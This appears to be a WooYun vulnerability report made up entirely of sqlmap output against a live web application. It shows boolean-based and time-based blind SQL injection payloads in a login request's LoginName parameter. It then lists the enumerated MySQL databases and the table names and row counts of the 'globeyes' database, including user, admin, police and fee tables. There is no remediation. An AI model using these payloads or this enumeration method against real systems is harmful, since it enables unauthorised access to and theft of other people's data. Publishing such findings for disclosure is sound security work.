WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: LoginName
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: LoginName=1111' RLIKE (SELECT (CASE WHEN (1482=1482) THEN 1111 ELSE 0x28 END)) AND 'HdHJ'='HdHJ&Password=1111&user_pw2=7156&rand=7186&platform=nanjing&login=suzhou
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: LoginName=1111' AND SLEEP(5) AND 'wKGK'='wKGK&Password=1111&user_pw2=7156&rand=7186&platform=nanjing&login=suzhou
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
current database:    'globeyes'
current user is DBA:    False
available databases [4]:
[*] globeyes
[*] information_schema
[*] mysql
[*] test
Database: globeyes
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| terminal_log         | 2387552 |
| hd_info              | 2281330 |
| process_info         | 2120898 |
| system_status        | 845777  |
| user_fee             | 841467  |
| storage              | 366471  |
| terminal_online_time | 285318  |
| dispmsg_bak          | 256170  |
| system_stat          | 185727  |
| user_log             | 88911   |
| sms_queue            | 44308   |
| test_table           | 39799   |
| saveinfo             | 27904   |
| monitor_event        | 8620    |
| terminal_param       | 8426    |
| `user`               | 8015    |
| terminal             | 6444    |
| voice_queue          | 5523    |
| child_terminal       | 3605    |
| notify_service       | 676     |
| admin                | 258     |
| area                 | 129     |
| user_t               | 87      |
| alarm_dispose        | 60      |
| store_setup          | 60      |
| police_service       | 53      |
| ipc                  | 36      |
| terminal_t           | 34      |
| notify_service_temp  | 33      |
| partition_list       | 29      |
| ttt                  | 24      |
| process_list         | 23      |
| host_info            | 22      |
| police_watcher       | 21      |
| service_monitor      | 20      |
| police               | 19      |
| software_version     | 18      |
| product              | 16      |
| SaveSwitcher         | 16      |
| client_session       | 13      |
| alarm_setting        | 7       |
| manufacturer         | 7       |
| dispmsg              | 5       |
| feeset               | 1       |
+----------------------+---------+